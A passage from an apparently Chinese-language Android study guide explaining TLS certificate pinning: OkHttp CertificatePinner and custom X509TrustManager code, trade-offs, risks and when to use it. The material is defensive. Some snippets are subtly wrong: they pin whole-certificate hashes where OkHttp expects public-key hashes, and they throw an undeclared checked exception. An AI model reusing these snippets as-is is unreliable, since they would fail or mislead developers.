    • 比较计算出的哈希值和存储的哈希值
    • 如果匹配,允许连接
    • 如果不匹配,拒绝连接

证书锁定流程:

1. 应用开发时:
   获取服务器证书
   计算证书哈希值(SHA-256)
   存储在应用中

2. 运行时:
   建立HTTPS连接
   获取服务器证书
   计算证书哈希值
   与存储的哈希值比较
   匹配 → 允许连接
   不匹配 → 拒绝连接

Android代码示例:

// 证书锁定原理
// 1. 预先计算证书哈希值
X509Certificate cert = getServerCertificate();
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] certHash = md.digest(cert.getEncoded());
String certHashBase64 = Base64.encodeToString(certHash, Base64.NO_WRAP);

// 2. 存储哈希值
String pinnedHash = "sha256/" + certHashBase64;

// 3. 运行时验证
CertificatePinner pinner = new CertificatePinner.Builder()
    .add("www.example.com", pinnedHash)
    .build();

总结:

  • 预先存储证书哈希值
  • 连接时计算证书哈希值
  • 比较哈希值
  • 匹配则允许,不匹配则拒绝

13.12 如何实现证书锁定?

答案:

实现证书锁定的方法:

1. 使用OkHttp(推荐)

// 计算证书哈希值
// 使用命令:openssl x509 -in cert.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64

// 实现证书锁定
CertificatePinner certificatePinner = new CertificatePinner.Builder()
    .add("www.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
    .add("api.example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")
    .build();

OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(certificatePinner)
    .build();

2. 自定义X509TrustManager

public class PinningTrustManager implements X509TrustManager {
    private final Set<String> pinnedHashes;
    
    public PinningTrustManager(Set<String> pinnedHashes) {
        this.pinnedHashes = pinnedHashes;
    }
    
    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType) {
        // 验证证书链
        // 检查证书哈希值是否在pinnedHashes中
        X509Certificate cert = chain[0];
        String certHash = calculateCertHash(cert);
        if (!pinnedHashes.contains(certHash)) {
            throw new CertificateException("Certificate pinning failed");
        }
    }
    
    private String calculateCertHash(X509Certificate cert) {
        try {
            MessageDigest md = MessageDigest.getInstance("SHA-256");
            byte[] certBytes = cert.getEncoded();
            byte[] hash = md.digest(certBytes);
            return "sha256/" + Base64.encodeToString(hash, Base64.NO_WRAP);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    
    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return new X509Certificate[0];
    }
    
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType) {
        // 不验证客户端证书
    }
}

3. 配置SSLContext

TrustManager[] trustManagers = new TrustManager[]{
    new PinningTrustManager(pinnedHashes)
};

SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, trustManagers, null);
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());

最佳实践:

  • 使用OkHttp的CertificatePinner(推荐)
  • 支持多个证书(证书更新时)
  • 使用SHA-256哈希
  • 定期更新证书哈希值

总结:

  • 使用OkHttp CertificatePinner(最简单)
  • 或自定义X509TrustManager
  • 计算和比较证书哈希值
  • 支持多个证书以提高灵活性

13.13 证书锁定的优缺点是什么?

答案:

证书锁定的优缺点:

优点:

  1. 安全性高

    • 防止CA被攻击
    • 防止伪造证书
    • 防止中间人攻击
  2. 精确控制

    • 只信任特定证书
    • 不受CA影响
    • 提高安全性

缺点:

  1. 维护成本高

    • 证书更新需要更新应用
    • 需要重新发布应用
    • 维护复杂
  2. 灵活性低

    • 只接受特定证书
    • 证书更新困难
    • 可能影响可用性
  3. 风险

    • 证书过期可能导致应用无法使用
    • 需要及时更新
    • 可能影响用户体验

对比表:

特性普通证书验证证书锁定
安全性
维护成本
灵活性
可用性中(证书更新时可能受影响)

使用建议:

  • 高安全要求场景:使用证书锁定
  • 一般场景:使用普通证书验证
  • 支持多个证书:提高灵活性
  • 及时更新:证书更新时及时更新应用

总结:

  • 优点:安全性高,精确控制
  • 缺点:维护成本高,灵活性低
  • 适用于高安全要求场景

13.14 证书锁定有什么风险?

答案:

证书锁定的风险:

  1. 证书过期风险

    • 证书过期后应用无法连接
    • 需要及时更新应用
    • 可能影响用户体验
  2. 证书更新风险

    • 证书更新需要更新应用
    • 如果未及时更新,应用无法使用
    • 需要重新发布应用
  3. 多证书管理

    • 需要管理多个证书哈希值
    • 证书更新时需要更新所有哈希值
    • 管理复杂
  4. 可用性风险

    • 证书问题可能导致应用无法使用
    • 影响用户体验
    • 需要快速响应

风险缓解:

  1. 支持多个证书

    CertificatePinner pinner = new CertificatePinner.Builder()
        .add("www.example.com", "sha256/旧证书哈希值")
        .add("www.example.com", "sha256/新证书哈希值")  // 支持多个
        .build();
    
  2. 及时更新

    • 证书更新前更新应用
    • 提前准备新证书
    • 平滑过渡
  3. 监控和告警

    • 监控证书有效期
    • 提前告警
    • 及时处理

最佳实践:

  • 支持多个证书(旧证书+新证书)
  • 提前更新应用
  • 监控证书有效期
  • 准备应急方案

总结:

  • 证书过期和更新风险
  • 可用性风险
  • 通过支持多个证书和及时更新缓解风险

13.15 什么时候使用证书锁定?

答案:

使用证书锁定的场景:

  1. 高安全要求

    • 金融应用
    • 支付应用
    • 敏感数据处理
  2. 防止CA攻击

    • CA可能被攻击
    • 需要额外保护
    • 提高安全性
  3. 固定服务器

    • 服务器固定
    • 证书不经常更新
    • 适合证书锁定

使用场景:

适合使用:

  • 金融、支付应用
  • 高安全要求应用
  • 固定服务器应用
  • 企业内部应用

不适合使用:

  • 一般Web应用
  • 证书经常更新
  • 维护成本敏感
  • 快速迭代应用

决策建议:

安全要求高 + 维护成本可接受 → 使用证书锁定
安全要求一般 + 维护成本敏感 → 使用普通证书验证

Android代码示例:

// 高安全要求应用使用证书锁定
if (isHighSecurityApp()) {
    CertificatePinner pinner = new CertificatePinner.Builder()
        .add("api.bank.com", "sha256/...")
        .build();
    // 使用证书锁定
} else {
    // 使用普通证书验证
}

总结:

  • 高安全要求场景使用
  • 固定服务器场景使用
  • 一般场景使用普通证书验证
  • 根据安全要求和维护成本决定